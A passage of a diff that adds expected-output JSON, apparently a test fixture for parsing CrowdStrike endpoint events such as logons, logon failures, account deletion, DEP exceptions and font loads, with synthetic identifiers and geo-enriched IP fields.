+                "ip": [
+                    "89.160.20.112"
+                ],
+                "serial_number": "ea33b281ab769f0d09855298c2b43f40",
+                "version": "2c8b.4.bab7095.e6"
+            },
+            "related": {
+                "hash": [
+                    "2015000411"
+                ],
+                "ip": [
+                    "89.160.20.112"
+                ],
+                "user": [
+                    "dcf80328"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "dcf80328"
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "2080025170",
+                "ContextTimeStamp": "2025-05-02T01:01:24.771Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "76",
+                "EventOrigin": "1",
+                "InterfaceGuid": "16517693cc50d618b7a2250bd5ecb896739b",
+                "InterfaceVersion": "60255",
+                "RpcClientProcessId": "7301001105000",
+                "RpcClientThreadId": "127103017599004",
+                "RpcNestingLevel": "0",
+                "RpcOpNum": "90",
+                "UserRid": "77bd1eaf",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "3229287b6fe92ef5336c913502cf9ef8fdf3",
+                "name": "0b8f5280c9729fa19531"
+            },
+            "device": {
+                "id": "bae5bafaeb93295d398bf55b8ba1cf01"
+            },
+            "event": {
+                "action": "UserAccountDeleted",
+                "category": [
+                    "configuration",
+                    "iam"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "3229287b6fe92ef5336c913502cf9ef8fdf3|bae5bafaeb93295d398bf55b8ba1cf01|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"UserAccountDeleted\",\"ContextTimeStamp\":\"1746147684.771\",\"UserName\":\"6621349aab8086fca29\",\"ConfigStateHash\":\"2080025170\",\"InterfaceVersion\":\"60255\",\"aip\":\"89.160.20.128\",\"RpcClientThreadId\":\"127103017599004\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"UserRid\":\"77bd1eaf\",\"event_platform\":\"Win\",\"RpcOpNum\":\"90\",\"Entitlements\":\"76\",\"name\":\"0b8f5280c9729fa19531\",\"EventOrigin\":\"1\",\"InterfaceGuid\":\"16517693cc50d618b7a2250bd5ecb896739b\",\"RpcClientProcessId\":\"7301001105000\",\"id\":\"3229287b6fe92ef5336c913502cf9ef8fdf3\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"bae5bafaeb93295d398bf55b8ba1cf01\",\"RpcNestingLevel\":\"0\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "deletion"
+                ]
+            },
+            "host": {
+                "id": "bae5bafaeb93295d398bf55b8ba1cf01",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "UserAccountDeleted",
+            "observer": {
+                "address": [
+                    "89.160.20.128"
+                ],
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": [
+                    "89.160.20.128"
+                ],
+                "serial_number": "bae5bafaeb93295d398bf55b8ba1cf01",
+                "version": "2c8b.4.bab7095.e6"
+            },
+            "related": {
+                "hash": [
+                    "2080025170"
+                ],
+                "ip": [
+                    "89.160.20.128"
+                ],
+                "user": [
+                    "6621349aab8086fca29"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "6621349aab8086fca29"
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "BoundingLimitCount": 2,
+                "BoundingLimitDuration": "9486640",
+                "ConfigStateHash": "3440491101",
+                "ContextProcessId": "1635100019002",
+                "ContextTimeStamp": "2025-06-15T20:35:09.552Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "66",
+                "EventOrigin": "1",
+                "ExceptionAddress": "1700460906",
+                "ExceptionCode": "5205000410",
+                "ExceptionInformation0": "8",
+                "FullExceptionRecord": "5d14ed407e29b2a4faf1a84e5b18504d02c670a34dee3f51a7fa3fc95ff8d263",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "5829a31e854865b7f675feb7d878b239adc2",
+                "name": "709aee1e8c3c110bf8"
+            },
+            "device": {
+                "id": "c98cd5436ddf270308dd9d267fd914a0"
+            },
+            "event": {
+                "action": "UserExceptionDEP",
+                "category": [
+                    "process",
+                    "malware"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "5829a31e854865b7f675feb7d878b239adc2|c98cd5436ddf270308dd9d267fd914a0|4092825518eaf67377a6e4492ae44577",
+                "kind": "alert",
+                "original": "{\"event_simpleName\":\"UserExceptionDEP\",\"ContextTimeStamp\":\"1750019709.552\",\"ConfigStateHash\":\"3440491101\",\"ContextProcessId\":\"1635100019002\",\"FullExceptionRecord\":\"5d14ed407e29b2a4faf1a84e5b18504d02c670a34dee3f51a7fa3fc95ff8d263\",\"FullContext\":\"\",\"ContextThreadId\":\"34508563003090\",\"aip\":\"216.160.83.56\",\"BoundingLimitCount\":\"2\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"ExceptionAddress\":\"1700460906\",\"BoundingLimitDuration\":\"9486640\",\"Entitlements\":\"66\",\"name\":\"709aee1e8c3c110bf8\",\"ExceptionInformation0\":\"8\",\"EventOrigin\":\"1\",\"id\":\"5829a31e854865b7f675feb7d878b239adc2\",\"ExceptionCode\":\"5205000410\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"c98cd5436ddf270308dd9d267fd914a0\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "info"
+                ]
+            },
+            "host": {
+                "id": "c98cd5436ddf270308dd9d267fd914a0",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "UserExceptionDEP",
+            "observer": {
+                "address": [
+                    "216.160.83.56"
+                ],
+                "geo": {
+                    "city_name": "Milton",
+                    "continent_name": "North America",
+                    "country_iso_code": "US",
+                    "country_name": "United States",
+                    "location": {
+                        "lat": 47.2513,
+                        "lon": -122.3149
+                    },
+                    "region_iso_code": "US-WA",
+                    "region_name": "Washington"
+                },
+                "ip": [
+                    "216.160.83.56"
+                ],
+                "serial_number": "c98cd5436ddf270308dd9d267fd914a0",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "1635100019002",
+                "thread": {
+                    "id": 34508563003090
+                }
+            },
+            "related": {
+                "hash": [
+                    "3440491101"
+                ],
+                "ip": [
+                    "216.160.83.56"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "BoundingLimitCount": 3,
+                "BoundingLimitDuration": "9486640",
+                "ConfigStateHash": "6080600092",
+                "ContextProcessId": "8108160208087",
+                "ContextTimeStamp": "2025-07-21T22:33:37.791Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "66",
+                "EventOrigin": "1",
+                "FontBuffer": "0",
+                "FontBufferLength": "0",
+                "FontFileCount": 1,
+                "FontFileName": "\\e2\\82\\6b0cc\\15dad1a2\\0f51ad6\\8c31e\\c7bac469\\a39f4a16\\4\\6ad6049f\\51833\\fce70f15.ttf",
+                "FontLoadOperation": "0",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "3b3a10fec73cc70efcba7d10700c60647a00",
+                "name": "be33367389afc8"
+            },
+            "device": {
+                "id": "30fcb474d1c19854928cfea68625715f"
+            },
+            "event": {
+                "action": "UserFontLoad",
+                "category": [
+                    "configuration"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "3b3a10fec73cc70efcba7d10700c60647a00|30fcb474d1c19854928cfea68625715f|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"UserFontLoad\",\"ContextTimeStamp\":\"1753137217.791\",\"ConfigStateHash\":\"6080600092\",\"ContextProcessId\":\"8108160208087\",\"ContextThreadId\":\"680008007040906\",\"aip\":\"89.160.20.112\",\"BoundingLimitCount\":\"3\",\"FontBufferLength\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"FontFileCount\":\"1\",\"BoundingLimitDuration\":\"9486640\",\"Entitlements\":\"66\",\"name\":\"be33367389afc8\",\"FontLoadOperation\":\"0\",\"EventOrigin\":\"1\",\"FontBuffer\":\"0\",\"id\":\"3b3a10fec73cc70efcba7d10700c60647a00\",\"FontFileName\":\"\\\\e2\\\\82\\\\6b0cc\\\\15dad1a2\\\\0f51ad6\\\\8c31e\\\\c7bac469\\\\a39f4a16\\\\4\\\\6ad6049f\\\\51833\\\\fce70f15.ttf\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"30fcb474d1c19854928cfea68625715f\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "30fcb474d1c19854928cfea68625715f",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "UserFontLoad",
+            "observer": {
+                "address": [
+                    "89.160.20.112"
+                ],
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": [
+                    "89.160.20.112"
+                ],
+                "serial_number": "30fcb474d1c19854928cfea68625715f",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "8108160208087",
+                "thread": {
+                    "id": 680008007040906
+                }
+            },
+            "related": {
+                "hash": [
+                    "6080600092"
+                ],
+                "ip": [
+                    "89.160.20.112"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "AuthenticationId": "5270089006",
+                "AuthenticationPackage": "43c19a09",
+                "ConfigStateHash": "3440491101",
+                "ContextProcessId": "6990300009751",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "66",
+                "EventOrigin": "1",
+                "LogonId": "6270089006",
+                "LogonTime": "2025-04-29T21:57:39.717Z",
+                "LogonType": "3",
+                "RemoteAccount": "0",
+                "ResendToCloud": "0",
+                "SessionId": "0",
+                "UserFlags": "0",
+                "UserLogonFlags": "0",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "ffafe1a8278f88b8c976d452dc465830bd1c",
+                "name": "6843b5d61bb2e5"
+            },
+            "device": {
+                "id": "443de0bbc349316f0d394439c57beaba"
+            },
+            "event": {
+                "action": "UserIdentity",
+                "category": [
+                    "authentication",
+                    "iam"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "ffafe1a8278f88b8c976d452dc465830bd1c|443de0bbc349316f0d394439c57beaba|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"UserIsAdmin\":\"0\",\"LogonTime\":\"1745963859.717\",\"UserCanonical\":\"\",\"ContextThreadId\":\"95004910750900\",\"aip\":\"81.2.69.192\",\"LogonDomain\":\"6e\",\"RemoteAccount\":\"0\",\"UserSid\":\"S-63628-61824-76998-75961-49681-10653-90491\",\"event_platform\":\"Win\",\"UserFlags\":\"0\",\"EventOrigin\":\"1\",\"LogonServer\":\"\",\"id\":\"ffafe1a8278f88b8c976d452dc465830bd1c\",\"EffectiveTransmissionClass\":\"2\",\"LogonId\":\"6270089006\",\"SessionId\":\"0\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"UserIdentity\",\"UserName\":\"395963bcc1c482b8ac\",\"ConfigStateHash\":\"3440491101\",\"ContextProcessId\":\"6990300009751\",\"ResendToCloud\":\"0\",\"LogonType\":\"3\",\"AuthenticationPackage\":\"43c19a09\",\"UserPrincipal\":\"\",\"AuthenticationId\":\"5270089006\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"PasswordLastSet\":\"\",\"Entitlements\":\"66\",\"name\":\"6843b5d61bb2e5\",\"UserLogonFlags\":\"0\",\"aid\":\"443de0bbc349316f0d394439c57beaba\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "info",
+                    "user"
+                ]
+            },
+            "host": {
+                "domain": "6e",
+                "id": "443de0bbc349316f0d394439c57beaba",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "UserIdentity",
+            "observer": {
+                "address": [
+                    "81.2.69.192"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.192"
+                ],
+                "serial_number": "443de0bbc349316f0d394439c57beaba",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "6990300009751",
+                "thread": {
+                    "id": 95004910750900
+                }
+            },
+            "related": {
+                "hash": [
+                    "3440491101"
+                ],
+                "ip": [
+                    "81.2.69.192"
+                ],
+                "user": [
+                    "395963bcc1c482b8ac",
+                    "S-63628-61824-76998-75961-49681-10653-90491"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "id": "S-63628-61824-76998-75961-49681-10653-90491",
+                "name": "395963bcc1c482b8ac"
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "AuthenticationId": "9134169010",
+                "AuthenticationPackage": "80af",
+                "ConfigStateHash": "3440491101",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "66",
+                "EventOrigin": "1",
+                "LogoffTime": "2025-04-29T07:52:34.660Z",
+                "LogonServer": "742a2b40",
+                "LogonTime": "2025-04-30T05:05:29.811Z",
+                "LogonType": "4",
+                "PasswordLastSet": "1677255764.322",
+                "RemoteAccount": "0",
+                "UserFlags": "230",
+                "UserLogoffType": "3",
+                "UserLogonFlags": "6",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "d42b0220749ccf3c12046d08207cd42e3e36",
+                "name": "035509012de2"
+            },
+            "device": {
+                "id": "e4b4d652bb68d0b6eaf25c3a357bd566"
+            },
+            "event": {
+                "action": "UserLogoff",
+                "category": [
+                    "authentication"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "d42b0220749ccf3c12046d08207cd42e3e36|e4b4d652bb68d0b6eaf25c3a357bd566|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"UserIsAdmin\":\"1\",\"LogoffTime\":\"1745913154.660\",\"LogonTime\":\"1745989529.811\",\"aip\":\"216.160.83.56\",\"LogonDomain\":\"742a2b40\",\"RemoteAccount\":\"0\",\"UserSid\":\"S-5282-72526-65462-33571-94897-74826-26210\",\"event_platform\":\"Win\",\"UserFlags\":\"230\",\"EventOrigin\":\"1\",\"LogonServer\":\"742a2b40\",\"id\":\"d42b0220749ccf3c12046d08207cd42e3e36\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"UserLogoff\",\"UserName\":\"e00908ad\",\"ConfigStateHash\":\"3440491101\",\"LogonType\":\"4\",\"AuthenticationPackage\":\"80af\",\"AuthenticationId\":\"9134169010\",\"UserPrincipal\":\"\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"PasswordLastSet\":\"1677255764.322\",\"UserLogoffType\":\"3\",\"Entitlements\":\"66\",\"name\":\"035509012de2\",\"UserLogonFlags\":\"6\",\"aid\":\"e4b4d652bb68d0b6eaf25c3a357bd566\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "end"
+                ]
+            },
+            "host": {
+                "domain": "742a2b40",
+                "id": "e4b4d652bb68d0b6eaf25c3a357bd566",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "UserLogoff",
+            "observer": {
+                "address": [
+                    "216.160.83.56"
+                ],
+                "geo": {
+                    "city_name": "Milton",
+                    "continent_name": "North America",
+                    "country_iso_code": "US",
+                    "country_name": "United States",
+                    "location": {
+                        "lat": 47.2513,
+                        "lon": -122.3149
+                    },
+                    "region_iso_code": "US-WA",
+                    "region_name": "Washington"
+                },
+                "ip": [
+                    "216.160.83.56"
+                ],
+                "serial_number": "e4b4d652bb68d0b6eaf25c3a357bd566",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "related": {
+                "hash": [
+                    "3440491101"
+                ],
+                "hosts": [
+                    "742a2b40"
+                ],
+                "ip": [
+                    "216.160.83.56"
+                ],
+                "user": [
+                    "e00908ad",
+                    "S-5282-72526-65462-33571-94897-74826-26210"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "id": "S-5282-72526-65462-33571-94897-74826-26210",
+                "name": "e00908ad",
+                "roles": [
+                    "admin"
+                ]
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ClientComputerName": "98ecc4",
+                "ConfigStateHash": "7800020060",
+                "ContextProcessId": "2014546000418",
+                "ContextTimeStamp": "2025-08-24T20:05:40.160Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "46",
+                "EtwRawProcessId": 273,
+                "EtwRawThreadId": 9360,
+                "EventOrigin": "1",
+                "LogonType": "3",
+                "Status": "7810500605",
+                "SubStatus": "2782800370",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "abcd637574e3e621a022d447ce47204dcb70",
+                "name": "ed7b4a3a01737761db"
+            },
+            "destination": {
+                "address": "216.160.83.56",
+                "as": {
+                    "number": 209
+                },
+                "geo": {
+                    "city_name": "Milton",
+                    "continent_name": "North America",
+                    "country_iso_code": "US",
+                    "country_name": "United States",
+                    "location": {
+                        "lat": 47.2513,
+                        "lon": -122.3149
+                    },
+                    "region_iso_code": "US-WA",
+                    "region_name": "Washington"
+                },
+                "ip": "216.160.83.56"
+            },
+            "device": {
+                "id": "82e84213f5e5ad2820ee7b0f905b8f43"
+            },
+            "event": {
+                "action": "UserLogonFailed2",
+                "category": [
+                    "authentication"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "abcd637574e3e621a022d447ce47204dcb70|82e84213f5e5ad2820ee7b0f905b8f43|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"ContextThreadId\":\"610009300097503\",\"aip\":\"81.2.69.142\",\"LogonDomain\":\"6e\",\"event_platform\":\"Win\",\"ClientComputerName\":\"98ecc4\",\"EventOrigin\":\"1\",\"id\":\"abcd637574e3e621a022d447ce47204dcb70\",\"SubStatus\":\"2782800370\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1743508799999\",\"Status\":\"7810500605\",\"event_simpleName\":\"UserLogonFailed2\",\"RawProcessId\":\"173\",\"ContextTimeStamp\":\"1756065940.160\",\"UserName\":\"6cc6d9fae629fd277\",\"ConfigStateHash\":\"7800020060\",\"EtwRawProcessId\":\"273\",\"ContextProcessId\":\"2014546000418\",\"LogonType\":\"3\",\"EtwRawThreadId\":\"9360\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"TargetProcessId\":\"3014546000418\",\"Entitlements\":\"46\",\"name\":\"ed7b4a3a01737761db\",\"aid\":\"82e84213f5e5ad2820ee7b0f905b8f43\",\"RemoteAddressIP4\":\"216.160.83.56\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "failure",
+                "type": [
+                    "start"
+                ]
+            },
+            "host": {
+                "domain": "6e",
+                "id": "82e84213f5e5ad2820ee7b0f905b8f43",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "UserLogonFailed2",
+            "observer": {
+                "address": [
+                    "81.2.69.142"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.142"
+                ],
+                "serial_number": "82e84213f5e5ad2820ee7b0f905b8f43",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "3014546000418",
+                "pid": 173,
+                "thread": {
+                    "id": 610009300097503
+                }
+            },
+            "related": {
+                "hash": [
+                    "7800020060"
+                ],
+                "hosts": [
+                    "98ecc4"
+                ],
+                "ip": [
+                    "81.2.69.142",
+                    "216.160.83.56"
+                ],
+                "user": [
+                    "6cc6d9fae629fd277"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "6cc6d9fae629fd277"
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "7800020060",
+                "ContextProcessId": "2014546000418",
+                "ContextTimeStamp": "2025-05-10T01:07:19.892Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "16",
+                "EventOrigin": "1",
+                "TreeId": "929834768029",
+                "UserLogonFlags": "1",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "498499842694e5b09e8a1c4abfe2eb414696",
+                "name": "9d199e1f177dd175a"
+            },
+            "device": {
+                "id": "82e84213f5e5ad2820ee7b0f905b8f43"
+            },
+            "event": {
+                "action": "UserLogonFailed",
+                "category": [
+                    "authentication"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "498499842694e5b09e8a1c4abfe2eb414696|82e84213f5e5ad2820ee7b0f905b8f43|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"UserLogonFailed\",\"ContextTimeStamp\":\"1746839239.892\",\"UserName\":\"6cc6d9fae629fd277\",\"ConfigStateHash\":\"7800020060\",\"ContextProcessId\":\"2014546000418\",\"LogonTime\":\"\",\"ContextThreadId\":\"610009300097503\",\"aip\":\"81.2.69.192\",\"UserSid\":\"S-25871-2981-333\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"PasswordLastSet\":\"\",\"TreeId\":\"929834768029\",\"Entitlements\":\"16\",\"name\":\"9d199e1f177dd175a\",\"EventOrigin\":\"1\",\"UserLogonFlags\":\"1\",\"id\":\"498499842694e5b09e8a1c4abfe2eb414696\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"82e84213f5e5ad2820ee7b0f905b8f43\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "failure",
+                "type": [
+                    "start"
+                ]
+            },
+            "host": {
+                "id": "82e84213f5e5ad2820ee7b0f905b8f43",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "UserLogonFailed",
+            "observer": {
+                "address": [
+                    "81.2.69.192"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.192"
+                ],
+                "serial_number": "82e84213f5e5ad2820ee7b0f905b8f43",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "2014546000418",
+                "thread": {
+                    "id": 610009300097503
+                }
+            },
+            "related": {
+                "hash": [
+                    "7800020060"
+                ],
+                "ip": [
+                    "81.2.69.192"
+                ],
+                "user": [
+                    "6cc6d9fae629fd277",
+                    "S-25871-2981-333"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "id": "S-25871-2981-333",
+                "name": "6cc6d9fae629fd277"
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "AuthenticationId": "4084727020",
+                "AuthenticationPackage": "43c19a09",
+                "ClientComputerName": "d51a37d47316ea",
+                "ConfigStateHash": "3440491101",
+                "ContextProcessId": "1776052010570",
+                "ContextTimeStamp": "2025-10-05T15:21:41.966Z",
+                "EffectiveTransmissionClass": "2",
+                "EnabledPrivilegesBitmask": "2034200020",
+                "Entitlements": "56",
+                "EventOrigin": "1",
+                "LogonServer": "be2c2f",
+                "LogonTime": "2025-04-29T17:48:07.174Z",
+                "LogonType": "4",
+                "PasswordLastSet": "1559926561.421",
+                "PrivilegesBitmask": "900780039900",
+                "RemoteAccount": "1",
+                "UserFlags": "52",
+                "UserGroupsBitmask": "8043300404",
+                "UserLogonFlags": "0",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "064eb67301d3224008ad7aee62c85ce3b9f2",
+                "name": "184e1f7f8f1"
+            },
+            "device": {
+                "id": "43efa5759b9c618d8565a64ba39b729c"
+            },
+            "event": {
+                "action": "UserLogon",
+                "category": [
+                    "authentication"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "064eb67301d3224008ad7aee62c85ce3b9f2|43efa5759b9c618d8565a64ba39b729c|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"UserIsAdmin\":\"1\",\"LogonTime\":\"1745948887.174\",\"ContextThreadId\":\"500010382010308\",\"aip\":\"216.160.83.56\",\"LogonDomain\":\"6e\",\"RemoteAccount\":\"1\",\"UserSid\":\"S-46253-20659-68776-75234-87277-33222-58161\",\"event_platform\":\"Win\",\"UserFlags\":\"52\",\"ClientComputerName\":\"d51a37d47316ea\",\"EventOrigin\":\"1\",\"LogonServer\":\"be2c2f\",\"id\":\"064eb67301d3224008ad7aee62c85ce3b9f2\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"UserLogon\",\"ContextTimeStamp\":\"1759677701.966\",\"UserName\":\"a7b663ef867\",\"ConfigStateHash\":\"3440491101\",\"ContextProcessId\":\"1776052010570\",\"LogonType\":\"4\",\"PrivilegesBitmask\":\"900780039900\",\"AuthenticationPackage\":\"43c19a09\",\"AuthenticationId\":\"4084727020\",\"UserPrincipal\":\"testuser@test.com\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"PasswordLastSet\":\"1559926561.421\",\"Entitlements\":\"56\",\"name\":\"184e1f7f8f1\",\"UserLogonFlags\":\"0\",\"EnabledPrivilegesBitmask\":\"2034200020\",\"aid\":\"43efa5759b9c618d8565a64ba39b729c\",\"UserGroupsBitmask\":\"8043300404\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "start"
+                ]
+            },
+            "host": {
+                "domain": "6e",
+                "id": "43efa5759b9c618d8565a64ba39b729c",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "UserLogon",
+            "observer": {
+                "address": [
+                    "216.160.83.56"
+                ],
+                "geo": {
+                    "city_name": "Milton",
+                    "continent_name": "North America",
+                    "country_iso_code": "US",
+                    "country_name": "United States",
+                    "location": {
+                        "lat": 47.2513,
+                        "lon": -122.3149
+                    },
+                    "region_iso_code": "US-WA",
+                    "region_name": "Washington"
+                },
+                "ip": [
+                    "216.160.83.56"
+                ],
+                "serial_number": "43efa5759b9c618d8565a64ba39b729c",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "1776052010570",
+                "thread": {
+                    "id": 500010382010308
+                }
+            },
+            "related": {
+                "hash": [
+                    "3440491101"
+                ],
+                "hosts": [
+                    "be2c2f",
+                    "d51a37d47316ea"
+                ],
+                "ip": [
+                    "216.160.83.56"
+                ],
+                "user": [
+                    "a7b663ef867",
+                    "testuser",
+                    "testuser@test.com",
+                    "S-46253-20659-68776-75234-87277-33222-58161"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "domain": "test.com",
+                "email": "testuser@test.com",
+                "full_name": "testuser",
+                "id": "S-46253-20659-68776-75234-87277-33222-58161",
+                "name": "a7b663ef867",
+                "roles": [
+                    "admin"
+                ]
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "AuthenticationId": "830",
+                "ConfigStateHash": "892001000",
+                "ContextProcessId": "3093093002701",
+                "ContextTimeStamp": "2025-06-13T18:18:15.450Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "16",
+                "EventOrigin": "1",
+                "InterfaceGuid": "fa20370b2cc4c0e88d161f705a2bba7fbe37",
+                "InterfaceVersion": "0",
+                "RpcClientProcessId": "4000150007426",
+                "RpcClientThreadId": "680008401000314",
+                "RpcNestingLevel": "0",
+                "RpcOpNum": "8",
+                "TokenType": "1",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "f6b9775ac6046bae94a4121496a6896a86f6",
+                "name": "20c2ece111ed142fd2567b9"
+            },
+            "device": {
+                "id": "3dc8ee79410457af4c28499efe37b5bc"
+            },
+            "event": {
+                "action": "VolumeSnapshotCreated",
+                "category": [
+                    "file"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "f6b9775ac6046bae94a4121496a6896a86f6|3dc8ee79410457af4c28499efe37b5bc|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
